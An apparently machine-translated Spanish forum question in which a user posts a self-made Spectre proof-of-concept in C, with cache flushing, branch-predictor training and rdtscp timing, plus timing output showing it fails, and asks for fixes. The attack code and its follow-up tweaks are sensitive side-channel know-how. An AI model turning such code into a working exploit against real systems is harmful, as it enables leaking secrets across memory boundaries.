Inspirado por esta pregunta y basado en esto:
¿Por qué me ¿el sytsem no parcheado * parece * no ser vulnerable a Specter?
Averigué que abriré una nueva pregunta, en lugar de "contaminar" a otra persona con preguntas.
Escribí este código:
Se debe cargar especulativamente 'U' en la memoria caché de la CPU y, posteriormente, se prueba si se encontró allí, según los tiempos de lectura.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#define CACHELINESIZE 4096
#define REP 100
void main(void)
{
typedef char line[CACHELINESIZE];
line A[512];
// Initialise array to 'A'
for(int i=0; i<512; i++)
{
for(int j=0; j<CACHELINESIZE; j++)
{
A[i][j]='A';
}
}
// Flush address of i
for (int i = 0; i < 512; i++)
{
_mm_clflush( & A[i]); /* intrinsic for clflush instruction */
}
char secret = 'U';
char any = 'X';
char* pcheck[REP];
line* pwrite[REP];
for(int i=0; i<REP; i++) {
pcheck[i] = &any;
pwrite[i] = A;
}
/*
for(int i=0;i<REP;i++)
{
printf("pcheck: %c\n",*pcheck[i]);
printf("pwrite: %s\n",*pwrite[i]);
}
*/
pcheck[REP-1] = &secret;
pwrite[REP-1] = A+256;
/*
printf("pcheck:%c\n", *pcheck[REP-1]);
printf("pwrite:%c\n", **pwrite[REP-1]);
*/
char dummy;
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
int t0,time_taken = 0;
int junk = 0;
char * val;
int mix_i=0;
int i,j;
int aux,res;
char RandomId[26];
char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};
srand(time(NULL));
for(i=0; i<26; i++)
{
res = rand() % 26;
aux = ListId[res];
if (ListId[res] != -1)
{
RandomId[i] = aux;
ListId[res] = -1;
}
else
i--;
}
for(i=0; i<26; i++)
{
t0 = __rdtscp(&junk);
val = &A[256+RandomId[i]];
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}
Ejecutando:
./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94
Por lo tanto, no puedo determinar con precisión qué hay en el caché de la CPU, ya que muchos tienen valores bajos similares.
¿Hay algún problema con este enfoque?
Funciona perfectamente en mi computadora portátil con esta versión:
¿Alguien ve la diferencia entre la versión anterior y la versión en esta publicación?
Lo compilé sin optimizaciones (gcc -O0)
Cargo especulativamente 'U'
Limpio el caché (clflush)
Más tarde mido los tiempos.
Lo ejecuté en un Core (tasket 0x1 ./spectre)
También agregué carga (stress -i NO_OF_CORES)
¿Ideas para alguien?
Actualización 1:
Pensé que se cargaría de forma especulativa aquí:
/*
The if evaluates to true 99 times in a row and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.
*/
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
¿Entonces se asignará 'U' a un dummy, eso significa que debería estar en el caché de la CPU?
Actualización 2:
¿Esto debería ser suficiente? ¿Es eso lo que quieres decir?
char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][256] = dummy;
}
}
Gracias,
Actualización 3:
¿Esto es correcto que?
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][i] = dummy;
}
}
Actualización 4:
¿También no debería hacerse el tiempo de esta manera?
volatile uint8_t * addr;
for(i=0; i<26; i++)
{
mix_i = RandomId[i];
addr = &A[256][10+mix_i];
t0 = __rdtscp(&junk);
junk = *addr;
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}